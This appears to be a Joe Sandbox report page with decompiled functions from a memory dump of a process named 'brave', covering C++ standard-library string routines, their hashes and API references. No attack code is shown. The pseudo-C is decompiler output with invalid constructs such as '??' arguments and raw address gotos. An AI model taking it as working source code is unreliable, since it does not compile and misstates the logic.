Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 7d89f8512e7e65814ec1fac360f2fa8d0805d6f994624814b77e8e40921412a7
Instruction ID: 93576ec8c341a1026fbf61f0bc6119c473db03a719106bd4b1a26af23357787f
Opcode Fuzzy Hash: 7d89f8512e7e65814ec1fac360f2fa8d0805d6f994624814b77e8e40921412a7
Instruction Fuzzy Hash: 2D4196B3F36A8581FF10AB69E8543B9A661AB55FC4F848431DE0C0B369EE2CD555C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF08980 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BF08980(long long* __rcx, intOrPtr* __rdx, long long __r8, void* __r9) {
				void* _t3;
				long long* _t7;

				_t7 = __rcx;
				_t9 =  *__rdx;
				_t16 =  *((intOrPtr*)( *__rdx - 0x18));
				if (__r8 -  *((intOrPtr*)( *__rdx - 0x18)) > 0) goto 0x7bf089b2;
				r9d = 0;
				_t3 = E00007FF77FF77BF06C20(__r8, _t9 + __r8, _t9 + _t16);
				 *_t7 = __r8;
				return _t3;
			}

0x7ff77bf08985
0x7ff77bf08988
0x7ff77bf08991
0x7ff77bf0899c
0x7ff77bf089a1
0x7ff77bf089a4
0x7ff77bf089a9
0x7ff77bf089b1

Strings

basic_string::_S_construct null not valid, xrefs: 00007FF77BF08B0A
basic_string::basic_string, xrefs: 00007FF77BF089B5, 00007FF77BF08A13, 00007FF77BF08A73
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF089BC, 00007FF77BF08A1A, 00007FF77BF08A7A

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 7d8338a1e9edd29d1aec0803ef2ebf7c98187b021472197f0bb09db241f85474
Instruction ID: 90f84a075cab43bdd77b8796ce42297e1743a65fa7ab48df1ecc694c80e6159f
Opcode Fuzzy Hash: 7d8338a1e9edd29d1aec0803ef2ebf7c98187b021472197f0bb09db241f85474
Instruction Fuzzy Hash: 1441C5B3F35A8591FB10BB65E4543B9E291AB65FC4F844431DE0C0B76ADE2CD591C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0C170 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 161
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF77BF0C170(intOrPtr* __rcx, void* __rdx, intOrPtr* __r8) {
				long long _v24;
				void* _t6;
				void* _t7;

				if (__rdx -  *__rcx -  *((intOrPtr*)(__rcx + 8)) > 0) goto 0x7bf0c19a;
				_v24 =  *((intOrPtr*)(__r8 + 8));
				r8d = 0;
				return E00007FF77FF77BF0AE20(_t6, _t7, __rcx, __rdx -  *__rcx,  *((intOrPtr*)(__r8 + 8)),  *__r8);
			}

0x7ff77bf0c185
0x7ff77bf0c187
0x7ff77bf0c18c
0x7ff77bf0c199

APIs

strlen.MSVCRT ref: 00007FF77BF0C1D5

Part of subcall function 00007FF77BF0AE20: memcpy.MSVCRT ref: 00007FF77BF0AEC5
Part of subcall function 00007FF77BF0AE20: memcpy.MSVCRT ref: 00007FF77BF0AEF0

Strings

basic_string::replace, xrefs: 00007FF77BF0C1A0, 00007FF77BF0C206, 00007FF77BF0C248, 00007FF77BF0C28C, 00007FF77BF0C307
basic_string::insert, xrefs: 00007FF77BF0C2EE, 00007FF77BF0C34C
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF0C1A7, 00007FF77BF0C20D, 00007FF77BF0C24F, 00007FF77BF0C293, 00007FF77BF0C2F5, 00007FF77BF0C30E, 00007FF77BF0C353

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::insert$basic_string::replace
API String ID: 2619041689-3628603605
Opcode ID: acf8db3c17e877630cf77c62e067198b43ffa339475565046a16a17aaf7fc19b
Instruction ID: f3023de64d1f483b1875db667730b2d6d5c6621d4635f19a54bd35c98967fd36
Opcode Fuzzy Hash: acf8db3c17e877630cf77c62e067198b43ffa339475565046a16a17aaf7fc19b
Instruction Fuzzy Hash: 7541D4B3A3A9C681EA00BB6AE8514A9A351FB55FC4FC04536ED0C23B79EE2CD556C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0F340 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF77BF0F340(intOrPtr* __rcx, void* __rdx, intOrPtr* __r8) {
				long long _v24;
				signed int _t6;
				void* _t7;

				if (__rdx -  *__rcx >> 1 -  *((intOrPtr*)(__rcx + 8)) > 0) goto 0x7bf0f36d;
				_v24 =  *((intOrPtr*)(__r8 + 8));
				r8d = 0;
				return E00007FF77FF77BF0DEF0(_t6, _t7, __rcx, __rdx -  *__rcx >> 1,  *((intOrPtr*)(__r8 + 8)),  *__r8);
			}

0x7ff77bf0f358
0x7ff77bf0f35a
0x7ff77bf0f35f
0x7ff77bf0f36c

APIs

wcslen.MSVCRT ref: 00007FF77BF0F3A5

Part of subcall function 00007FF77BF0DEF0: memcpy.MSVCRT ref: 00007FF77BF0DF96
Part of subcall function 00007FF77BF0DEF0: memcpy.MSVCRT ref: 00007FF77BF0DFC1

Strings

basic_string::insert, xrefs: 00007FF77BF0F4BC, 00007FF77BF0F51C
basic_string::replace, xrefs: 00007FF77BF0F373, 00007FF77BF0F3D6, 00007FF77BF0F418, 00007FF77BF0F45C, 00007FF77BF0F4D5
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF0F37A, 00007FF77BF0F3DD, 00007FF77BF0F41F, 00007FF77BF0F463, 00007FF77BF0F4C3, 00007FF77BF0F4DC, 00007FF77BF0F523

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::insert$basic_string::replace
API String ID: 1844840824-3628603605
Opcode ID: 7f7506947e0cdf472993f0743dd8d0f22e204ef2ca206140b47516d04f83e820
Instruction ID: 67760aac2d6c8640855ec2817c9fd020c13cdb3020871ba751a297cba0ba7973
Opcode Fuzzy Hash: 7f7506947e0cdf472993f0743dd8d0f22e204ef2ca206140b47516d04f83e820
Instruction Fuzzy Hash: E34191B7A359C681EB00BB69E8414B9A351FB59FC8BC04436DD4C03B7AEE2CD645C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0EEA0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF77BF0EF05
memcpy.MSVCRT ref: 00007FF77BF0EFDA

Strings

basic_string::append, xrefs: 00007FF77BF0EF5D, 00007FF77BF0F039
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF0EF64

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: fe7fef964f37f1dd9b1a180919c66d0ec6042240d860377790e12c591085c9ce
Instruction ID: 61b68e07da8b9898f1cad2c6326168666ecd578b74a70d5c8a5b35b35d1fb6a7
Opcode Fuzzy Hash: fe7fef964f37f1dd9b1a180919c66d0ec6042240d860377790e12c591085c9ce
Instruction Fuzzy Hash: 1C41BBB3A38A9A81DA10EB5DC4445BDA361EB89FC4BC44532EE5D433B9EE3CE141C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0BCF0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF77BF0BD55
memcpy.MSVCRT ref: 00007FF77BF0BE27

Strings

basic_string::append, xrefs: 00007FF77BF0BDB2, 00007FF77BF0BE7C
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF0BDB9

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: 9553ad4b2fb8957eda4529e061e9a93a6dd067d7bb1be6d681d056781aa60a57
Instruction ID: 7c0514f0e8669f89969a9f73d5a52f7980215359157ad0a0d283e2d675618fa4
Opcode Fuzzy Hash: 9553ad4b2fb8957eda4529e061e9a93a6dd067d7bb1be6d681d056781aa60a57
Instruction Fuzzy Hash: 9441CDB3A39ACA81DA10EB1DD848679A360EB56FC0FD84132EE5D473B6EE2CD141C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF07CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BF07CE0(intOrPtr* __r8, void* __r9, intOrPtr _a40) {
				void* _t13;
				void* _t32;
				intOrPtr* _t35;
				char* _t37;
				int _t38;
				int _t40;
				intOrPtr _t50;
				void* _t57;
				intOrPtr _t59;

				_t50 =  *((intOrPtr*)( *__r8 - 0x18));
				_t57 =  >  ? _a40 : _t50 - __r9;
				if (__r9 - _t50 > 0) goto 0x7bf07d12;
				goto 0x7bf07b40;
				_t37 = "basic_string::insert";
				_t35 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
				E00007FF77FF77BF11250(_t13, __r9 - _t50, __r9, _t35, _t37, __r9,  *__r8 + __r9);
				_t59 =  *((intOrPtr*)( *_t35 - 0x18));
				if (_t37 - _t59 > 0) goto 0x7bf07db0;
				if (__r9 - 0xfffffff9 - _t59 > 0) goto 0x7bf07dc6;
				r8d = 0;
				E00007FF77FF77BF08580(_t35, _t37, __r9, __r9);
				if (__r9 == 0) goto 0x7bf07d8c;
				if (__r9 == 1) goto 0x7bf07da0;
				return memset(_t32, _t40, _t38);
			}

0x7ff77bf07cec
0x7ff77bf07cfc
0x7ff77bf07d03
0x7ff77bf07d0d
0x7ff77bf07d15
0x7ff77bf07d1f
0x7ff77bf07d26
0x7ff77bf07d3f
0x7ff77bf07d4f
0x7ff77bf07d61
0x7ff77bf07d66
0x7ff77bf07d69
0x7ff77bf07d71
0x7ff77bf07d7e
0x7ff77bf07d98

APIs

memset.MSVCRT ref: 00007FF77BF07D87

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF07D1F, 00007FF77BF07DB3
basic_string::_M_replace_aux, xrefs: 00007FF77BF07DC6
basic_string::insert, xrefs: 00007FF77BF07D15, 00007FF77BF07DBA

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 2221118986-1339558951
Opcode ID: 76e07345fcce7906114913821502996534838701bb96e1ead79225c16b90c7dc
Instruction ID: ef11c9fa7ee8b87e0e5ab4fbda3d17455213ceaa6d238ca3d1c0e4678370dcbf
Opcode Fuzzy Hash: 76e07345fcce7906114913821502996534838701bb96e1ead79225c16b90c7dc
Instruction Fuzzy Hash: 5C31D877B36AC681E610AB5AA8454F8A350AB59FE0FC84A71DF1C137B5ED3CE581C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF10C80 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF77BF10C92
memcpy.MSVCRT ref: 00007FF77BF10CE4
memcpy.MSVCRT ref: 00007FF77BF10D94

Strings

basic_string::append, xrefs: 00007FF77BF10D3A

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: basic_string::append
API String ID: 1844840824-3811946249
Opcode ID: 148ea95ba2453b8e9f4c57894deee56eaa111a687ced5c9b40be94197a186ef0
Instruction ID: b3e78ee91884a9579bc1408797b3ee95bd721626f47d914681b4c5e7d14b5ac6
Opcode Fuzzy Hash: 148ea95ba2453b8e9f4c57894deee56eaa111a687ced5c9b40be94197a186ef0
Instruction Fuzzy Hash: 9E315DB3639A8980DA10AB29C4585BDA365FB85FC4BE44D32ED1D873A8EE28E541C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF118C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

malloc.MSVCRT(?,?,FFFFFFFF,00007FF77BF07139,?,?,FFFFFFFF,00007FF77BF06BB5,?,00000000,basic_string::_M_create,00007FF77BF0A151), ref: 00007FF77BF118D4

Part of subcall function 00007FF77BF119A0: malloc.MSVCRT(?,?,?,?,00007FF77BF123B5,?,?,?,?,00007FF77BEE3C24), ref: 00007FF77BF119B1

malloc.MSVCRT(?,?,?,?,?,?,?,00007FF77BF07139,?,?,FFFFFFFF,00007FF77BF06BB5,?,00000000,basic_string::_M_create,00007FF77BF0A151), ref: 00007FF77BF1193A

Strings

basic_string::_M_create, xrefs: 00007FF77BF119A0

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc
String ID: basic_string::_M_create
API String ID: 2803490479-3122258987
Opcode ID: bd2b9496211699472748cb413ee8b9e6de8c3115e01d600241e6816aea83f02b
Instruction ID: 232745fd3ad88212d2dce2cb600980116d781b8427b56c9b384cd0936216c3aa
Opcode Fuzzy Hash: bd2b9496211699472748cb413ee8b9e6de8c3115e01d600241e6816aea83f02b
Instruction Fuzzy Hash: 5A219A32B36B8A45EE58B76DA5113B85191AF88BA0FD44E34DE2D063D6DE3C5245C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0DC10 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 102stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF77BF0DC22
memcpy.MSVCRT ref: 00007FF77BF0DC72
memcpy.MSVCRT ref: 00007FF77BF0DD21

Strings

basic_string::append, xrefs: 00007FF77BF0DCCD

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: basic_string::append
API String ID: 2619041689-3811946249
Opcode ID: 053ff8a127323fabc25172c75465cfa7311902f130f2a5a7fc06635915c12a55
Instruction ID: fc0cce61cd1618a92f94146e518bcb39b994c2e394d0505832a894c9b2ac698d
Opcode Fuzzy Hash: 053ff8a127323fabc25172c75465cfa7311902f130f2a5a7fc06635915c12a55
Instruction Fuzzy Hash: CB31A0B7A39AC580DA20EB19D458579A364EB46FD4FC88533EE6D473B5EE6CD440C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF08580 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00007FF77FF77BF08580(long long* __rcx, void* __rdx, void* __r8, void* __r9) {
				void* _v73;
				void* _t13;
				void* _t14;
				intOrPtr _t21;
				intOrPtr _t23;
				long long* _t25;
				long long _t37;
				intOrPtr _t38;
				long long _t45;

				_t21 =  *((intOrPtr*)(__rcx));
				_t38 =  *((intOrPtr*)(_t21 - 0x18));
				_t25 = __rcx;
				_t37 = __r9 - __r8 + _t38;
				if (_t37 -  *((intOrPtr*)(_t21 - 0x10)) > 0) goto 0x7bf085cb;
				if ( *((intOrPtr*)(_t21 - 8)) <= 0) goto 0x7bf08660;
				_t23 =  *((intOrPtr*)(__rcx));
				E00007FF77FF77BF070D0(_t14, _t37,  *((intOrPtr*)(_t23 - 0x10)));
				if (__rdx == 0) goto 0x7bf08600;
				_t8 = _t23 + 0x18; // 0x18
				_t45 = _t8;
				if (__rdx == 1) goto 0x7bf086a0;
				_t13 = memcpy(??, ??, ??);
				if (_t38 - __r8 + __rdx != 0) goto 0x7bf08640;
				asm("clc");
				if (0xffffffff <= 0) goto 0x7bf08690;
				 *_t25 = _t45;
				 *((intOrPtr*)(_t45 - 8)) = 0;
				 *((long long*)(_t45 - 0x18)) = _t37;
				 *((char*)(_t45 + _t37)) = 0;
				return _t13;
			}

0x7ff77bf08590
0x7ff77bf08593
0x7ff77bf085a8
0x7ff77bf085ae
0x7ff77bf085b7
0x7ff77bf085be
0x7ff77bf085c4
0x7ff77bf085d3
0x7ff77bf085e2
0x7ff77bf085e7
0x7ff77bf085e7
0x7ff77bf085ef
0x7ff77bf085fb
0x7ff77bf08603
0x7ff77bf08611
0x7ff77bf08614
0x7ff77bf08616
0x7ff77bf08619
0x7ff77bf08622
0x7ff77bf08627
0x7ff77bf0863c

APIs

memcpy.MSVCRT ref: 00007FF77BF085FB
memcpy.MSVCRT ref: 00007FF77BF08681

Strings

basic_string::_M_create, xrefs: 00007FF77BF08586

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
